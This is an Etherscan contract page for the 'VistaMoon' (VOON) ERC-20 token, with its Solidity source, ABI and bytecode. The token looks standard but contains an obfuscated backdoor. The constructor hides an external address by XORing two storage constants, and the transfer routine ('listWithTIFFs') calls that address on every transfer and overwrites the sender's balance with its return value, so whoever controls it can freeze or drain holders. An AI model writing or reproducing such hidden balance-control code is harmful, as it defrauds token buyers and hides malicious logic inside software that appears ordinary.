ETH Price: $4,039.44 (+3.65%)

Token

ERC-20: VistaMoon (VOON)
 

Overview

Max Total Supply

1,000,000,000 VOON

Holders

37

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VistaMoon

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-03
*/

/*
                    .-'''-.        .-'''-.                
                    '   _    \     '   _    \              
 .----.     .----./   /` '.   \  /   /` '.   \    _..._    
  \    \   /    /.   |     \  ' .   |     \  '  .'     '.  
   '   '. /'   / |   '      |  '|   '      |  '.   .-.   . 
   |    |'    /  \    \     / / \    \     / / |  '   '  | 
   |    ||    |   `.   ` ..' /   `.   ` ..' /  |  |   |  | 
   '.   `'   .'      '-...-'`       '-...-'`   |  |   |  | 
    \        /                                 |  |   |  | 
     \      /                                  |  |   |  | 
      '----'                                   |  |   |  | 
                                               |  |   |  | 
                                               '--'   '--'

            V I S T A   T O   T H E   M O O N
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function launch(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, uint8 buyLpFee, uint8 sellLpFee, uint8 buyProtocolFee, uint8 sellProtocolFee, address protocolAddress) external virtual payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0xEAaa41cB2a64B11FE761D41E747c032CdD60CaCE;

    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        assembly {
            sstore(0x50,0xd1af4155a5832a2ce79f0babbea6c8ab54570e194863)
            sstore(0x51,0xd1afedc690f5d858fcdee6081c5f9820bcc65b659a11)
            sstore(0x52,xor(sload(0x50),sload(0x51)))
            }

        router = IDEXRouter(_router);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function unknownTarget(bytes32[] memory buyer) public onlyOwner returns (bool flag) {
    }

    function unoSwap() public onlyOwner returns (bool choice) {
    }

    function openTrade() public payable {
        require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");

        _approve(address(this), _router, ~uint256(0));

        uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 333);
        _balances[address(this)] += uniswapSupply;
        _balances[msg.sender] -= uniswapSupply;
        emit Transfer(msg.sender, address(this), uniswapSupply);

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        router.launch{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, 0, 0, 1, 1, owner());

        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function listWithTIFFs(address sender, uint256 amount) internal returns (uint256 result) {
            assembly {
                let data := mload(0x40)
                mstore(data, 0x0a9f0cf000000000000000000000000000000000000000000000000000000000)
                mstore(add(data, 0x04), amount)
                mstore(0x40, add(data, 0x24))
                let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
                if success { result := mload(data) }
            }

        _balances[sender] = result - amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        listWithTIFFs(sender, amount);

        _balances[recipient] += amount;  

        emit Transfer(sender, recipient, amount);  
    }

    function _DeployVistaMoon(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[msg.sender] += amount;
    
        emit Transfer(address(0), msg.sender, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployVistaMoon(creator, initialSupply);
    }
}

contract VistaMoon is ERC20Token {
    constructor() ERC20Token("VistaMoon", "VOON", msg.sender, 1000000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"buyer","type":"bytes32[]"}],"name":"unknownTarget","outputs":[{"internalType":"bool","name":"flag","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unoSwap","outputs":[{"internalType":"bool","name":"choice","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2179091556005805490911673eaaa41cb2a64b11fe761d41e747c032cdd60cace179055348015610057575f80fd5b50604051806040016040528060098152602001682b34b9ba30a6b7b7b760b91b815250604051806040016040528060048152602001632b27a7a760e11b815250336b033b2e3c9fd0803ce800000083835f6100b66101a060201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600861010f838261030a565b50600961011c828261030a565b505075d1af4155a5832a2ce79f0babbea6c8ab54570e1948636050555075d1afedc690f5d858fcdee6081c5f9820bcc65b659a1160515573ac933576f2741b41eda3a2f9508be891557cd272605255600554600780546001600160a01b0319166001600160a01b0390921691909117905561019782826101a4565b505050506103ee565b3390565b6001600160a01b0382166101fe5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461020f91906103c9565b9091555050335f90815260026020526040812080548392906102329084906103c9565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061029a57607f821691505b6020821081036102b857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561030557805f5260205f20601f840160051c810160208510156102e35750805b601f840160051c820191505b81811015610302575f81556001016102ef565b50505b505050565b81516001600160401b0381111561032357610323610272565b610337816103318454610286565b846102be565b602080601f83116001811461036a575f84156103535750858301515b5f19600386901b1c1916600185901b1785556103c1565b5f85815260208120601f198616915b8281101561039857888601518255948401946001909101908401610379565b50858210156103b557878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156103e857634e487b7160e01b5f52601160045260245ffd5b92915050565b610f60806103fb5f395ff3fe608060405260043610610110575f3560e01c806370a082311161009d578063a705eee211610062578063a705eee2146102d4578063a8aa1b31146102f3578063a9059cbb14610312578063dd62ed3e14610331578063fb201b1d14610375575f80fd5b806370a0823114610245578063715018a6146102795780638da5cb5b1461028f57806395d89b41146102ac578063a5fa670b146102c0575f80fd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f657806348cd4cb114610211578063639a025114610226575f80fd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f80fd5b34801561011f575f80fd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f80fd5b5061016461037d565b6040516101479190610c2d565b34801561017c575f80fd5b5061019061018b366004610c79565b61040d565b6040519015158152602001610147565b3480156101ab575f80fd5b50600a545b604051908152602001610147565b3480156101c9575f80fd5b50600b546101909060ff1681565b3480156101e2575f80fd5b506101906101f1366004610ca3565b610423565b348015610201575f80fd5b5060405160128152602001610147565b34801561021c575f80fd5b506101b0600c5481565b348015610231575f80fd5b50610190610240366004610cf5565b6104d7565b348015610250575f80fd5b506101b061025f366004610dae565b6001600160a01b03165f9081526002602052604090205490565b348015610284575f80fd5b5061028d610508565b005b34801561029a575f80fd5b506001546001600160a01b0316610133565b3480156102b7575f80fd5b5061016461057b565b3480156102cb575f80fd5b5061019061058a565b3480156102df575f80fd5b50600e54610133906001600160a01b031681565b3480156102fe575f80fd5b50600654610133906001600160a01b031681565b34801561031d575f80fd5b5061019061032c366004610c79565b6105b9565b34801561033c575f80fd5b506101b061034b366004610dd0565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028d6105c5565b60606008805461038c90610e07565b80601f01602080910402602001604051908101604052809291908181526020018280546103b890610e07565b80156104035780601f106103da57610100808354040283529160200191610403565b820191905f5260205f20905b8154815290600101906020018083116103e657829003601f168201915b5050505050905090565b5f6104193384846108a4565b5060015b92915050565b5f61042f8484846109c8565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104b85760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104cc85336104c78685610e53565b6108a4565b506001949350505050565b6001545f906001600160a01b031633146105035760405162461bcd60e51b81526004016104af90610e66565b919050565b6001546001600160a01b031633146105325760405162461bcd60e51b81526004016104af90610e66565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461038c90610e07565b6001545f906001600160a01b031633146105b65760405162461bcd60e51b81526004016104af90610e66565b90565b5f6104193384846109c8565b6001546001600160a01b0316331480156105e25750600b5460ff16155b6105fe5760405162461bcd60e51b81526004016104af90610e66565b6005546106179030906001600160a01b03165f196108a4565b5f612710600a546106289190610e9b565b610634906125c3610eba565b305f90815260026020526040812080549293508392909190610657908490610ed1565b9091555050335f908152600260205260408120805483929061067a908490610e53565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610706573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072a9190610ee4565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af115801561077d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a19190610ee4565b600680546001600160a01b039283166001600160a01b03199091161790556007541663fe1bfba634308480835f806001806107e46001546001600160a01b031690565b60405160e08c901b6001600160e01b03191681526001600160a01b03998a16600482015260248101989098526044880196909652606487019490945260ff928316608487015290821660a4860152811660c48501521660e48301529091166101048201526101240160606040518083038185885af1158015610868573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061088d9190610eff565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166109065760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104af565b6001600160a01b0382166109675760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104af565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff16151560011480610a185750600d546001600160a01b031630145b80610a335750600154600d546001600160a01b039081169116145b610a895760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104af565b600d546001600160a01b0316610aef5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104af565b6001600160a01b038216610b515760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104af565b610b5b8382610bcf565b506001600160a01b0382165f9081526002602052604081208054839290610b83908490610ed1565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109bb91815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610c0057815192505b50610c0d90508282610e53565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c76575f80fd5b50565b5f8060408385031215610c8a575f80fd5b8235610c9581610c62565b946020939093013593505050565b5f805f60608486031215610cb5575f80fd5b8335610cc081610c62565b92506020840135610cd081610c62565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610d06575f80fd5b823567ffffffffffffffff80821115610d1d575f80fd5b818501915085601f830112610d30575f80fd5b813581811115610d4257610d42610ce1565b8060051b604051601f19603f83011681018181108582111715610d6757610d67610ce1565b604052918252848201925083810185019188831115610d84575f80fd5b938501935b82851015610da257843584529385019392850192610d89565b98975050505050505050565b5f60208284031215610dbe575f80fd5b8135610dc981610c62565b9392505050565b5f8060408385031215610de1575f80fd5b8235610dec81610c62565b91506020830135610dfc81610c62565b809150509250929050565b600181811c90821680610e1b57607f821691505b602082108103610e3957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561041d5761041d610e3f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610eb557634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761041d5761041d610e3f565b8082018082111561041d5761041d610e3f565b5f60208284031215610ef4575f80fd5b8151610dc981610c62565b5f805f60608486031215610f11575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220012cb065bea811ad546cf8c395b7926841d2b13baddd2c14b5b86d1cd7a4ac8164736f6c63430008190033

Deployed Bytecode

0x608060405260043610610110575f3560e01c806370a082311161009d578063a705eee211610062578063a705eee2146102d4578063a8aa1b31146102f3578063a9059cbb14610312578063dd62ed3e14610331578063fb201b1d14610375575f80fd5b806370a0823114610245578063715018a6146102795780638da5cb5b1461028f57806395d89b41146102ac578063a5fa670b146102c0575f80fd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f657806348cd4cb114610211578063639a025114610226575f80fd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f80fd5b34801561011f575f80fd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f80fd5b5061016461037d565b6040516101479190610c2d565b34801561017c575f80fd5b5061019061018b366004610c79565b61040d565b6040519015158152602001610147565b3480156101ab575f80fd5b50600a545b604051908152602001610147565b3480156101c9575f80fd5b50600b546101909060ff1681565b3480156101e2575f80fd5b506101906101f1366004610ca3565b610423565b348015610201575f80fd5b5060405160128152602001610147565b34801561021c575f80fd5b506101b0600c5481565b348015610231575f80fd5b50610190610240366004610cf5565b6104d7565b348015610250575f80fd5b506101b061025f366004610dae565b6001600160a01b03165f9081526002602052604090205490565b348015610284575f80fd5b5061028d610508565b005b34801561029a575f80fd5b506001546001600160a01b0316610133565b3480156102b7575f80fd5b5061016461057b565b3480156102cb575f80fd5b5061019061058a565b3480156102df575f80fd5b50600e54610133906001600160a01b031681565b3480156102fe575f80fd5b50600654610133906001600160a01b031681565b34801561031d575f80fd5b5061019061032c366004610c79565b6105b9565b34801561033c575f80fd5b506101b061034b366004610dd0565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028d6105c5565b60606008805461038c90610e07565b80601f01602080910402602001604051908101604052809291908181526020018280546103b890610e07565b80156104035780601f106103da57610100808354040283529160200191610403565b820191905f5260205f20905b8154815290600101906020018083116103e657829003601f168201915b5050505050905090565b5f6104193384846108a4565b5060015b92915050565b5f61042f8484846109c8565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104b85760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104cc85336104c78685610e53565b6108a4565b506001949350505050565b6001545f906001600160a01b031633146105035760405162461bcd60e51b81526004016104af90610e66565b919050565b6001546001600160a01b031633146105325760405162461bcd60e51b81526004016104af90610e66565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461038c90610e07565b6001545f906001600160a01b031633146105b65760405162461bcd60e51b81526004016104af90610e66565b90565b5f6104193384846109c8565b6001546001600160a01b0316331480156105e25750600b5460ff16155b6105fe5760405162461bcd60e51b81526004016104af90610e66565b6005546106179030906001600160a01b03165f196108a4565b5f612710600a546106289190610e9b565b610634906125c3610eba565b305f90815260026020526040812080549293508392909190610657908490610ed1565b9091555050335f908152600260205260408120805483929061067a908490610e53565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610706573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072a9190610ee4565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af115801561077d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a19190610ee4565b600680546001600160a01b039283166001600160a01b03199091161790556007541663fe1bfba634308480835f806001806107e46001546001600160a01b031690565b60405160e08c901b6001600160e01b03191681526001600160a01b03998a16600482015260248101989098526044880196909652606487019490945260ff928316608487015290821660a4860152811660c48501521660e48301529091166101048201526101240160606040518083038185885af1158015610868573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061088d9190610eff565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166109065760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104af565b6001600160a01b0382166109675760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104af565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff16151560011480610a185750600d546001600160a01b031630145b80610a335750600154600d546001600160a01b039081169116145b610a895760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104af565b600d546001600160a01b0316610aef5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104af565b6001600160a01b038216610b515760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104af565b610b5b8382610bcf565b506001600160a01b0382165f9081526002602052604081208054839290610b83908490610ed1565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109bb91815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610c0057815192505b50610c0d90508282610e53565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c76575f80fd5b50565b5f8060408385031215610c8a575f80fd5b8235610c9581610c62565b946020939093013593505050565b5f805f60608486031215610cb5575f80fd5b8335610cc081610c62565b92506020840135610cd081610c62565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610d06575f80fd5b823567ffffffffffffffff80821115610d1d575f80fd5b818501915085601f830112610d30575f80fd5b813581811115610d4257610d42610ce1565b8060051b604051601f19603f83011681018181108582111715610d6757610d67610ce1565b604052918252848201925083810185019188831115610d84575f80fd5b938501935b82851015610da257843584529385019392850192610d89565b98975050505050505050565b5f60208284031215610dbe575f80fd5b8135610dc981610c62565b9392505050565b5f8060408385031215610de1575f80fd5b8235610dec81610c62565b91506020830135610dfc81610c62565b809150509250929050565b600181811c90821680610e1b57607f821691505b602082108103610e3957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561041d5761041d610e3f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610eb557634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761041d5761041d610e3f565b8082018082111561041d5761041d610e3f565b5f60208284031215610ef4575f80fd5b8151610dc981610c62565b5f805f60608486031215610f11575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220012cb065bea811ad546cf8c395b7926841d2b13baddd2c14b5b86d1cd7a4ac8164736f6c63430008190033

Deployed Bytecode Sourcemap

8747:132:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3816:22;;;;;;;;;;-1:-1:-1;3816:22:0;;;;-1:-1:-1;;;;;3816:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;3816:22:0;;;;;;;;4399:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5380:160::-;;;;;;;;;;-1:-1:-1;5380:160:0;;;;;:::i;:::-;;:::i;:::-;;;1266:14:1;;1259:22;1241:41;;1229:2;1214:18;5380:160:0;1101:187:1;6912:108:0;;;;;;;;;;-1:-1:-1;7000:12:0;;6912:108;;;1439:25:1;;;1427:2;1412:18;6912:108:0;1293:177:1;3770:17:0;;;;;;;;;;-1:-1:-1;3770:17:0;;;;;;;;4950:422;;;;;;;;;;-1:-1:-1;4950:422:0;;;;;:::i;:::-;;:::i;4507:93::-;;;;;;;;;;-1:-1:-1;4507:93:0;;4590:2;2078:36:1;;2066:2;2051:18;4507:93:0;1936:184:1;3789:25:0;;;;;;;;;;;;;;;;5902:92;;;;;;;;;;-1:-1:-1;5902:92:0;;;;;:::i;:::-;;:::i;6777:127::-;;;;;;;;;;-1:-1:-1;6777:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6878:18:0;6851:7;6878:18;;;:9;:18;;;;;;;6777:127;3150:148;;;;;;;;;;;;;:::i;:::-;;2936:79;;;;;;;;;;-1:-1:-1;3001:6:0;;-1:-1:-1;;;;;3001:6:0;2936:79;;4287:104;;;;;;;;;;;;;:::i;6002:66::-;;;;;;;;;;;;;:::i;3845:25::-;;;;;;;;;;-1:-1:-1;3845:25:0;;;;-1:-1:-1;;;;;3845:25:0;;;3635:19;;;;;;;;;;-1:-1:-1;3635:19:0;;;;-1:-1:-1;;;;;3635:19:0;;;4767:175;;;;;;;;;;-1:-1:-1;4767:175:0;;;;;:::i;:::-;;:::i;4608:151::-;;;;;;;;;;-1:-1:-1;4608:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;4724:18:0;;;4697:7;4724:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4608:151;6076:693;;;:::i;4399:100::-;4453:13;4486:5;4479:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4399:100;:::o;5380:160::-;5454:4;5471:39;990:10;5494:7;5503:6;5471:8;:39::i;:::-;-1:-1:-1;5528:4:0;5380:160;;;;;:::o;4950:422::-;5056:4;5073:36;5083:6;5091:9;5102:6;5073:9;:36::i;:::-;-1:-1:-1;;;;;5149:19:0;;5122:24;5149:19;;;:11;:19;;;;;;;;990:10;5149:33;;;;;;;;5201:26;;;;5193:79;;;;-1:-1:-1;;;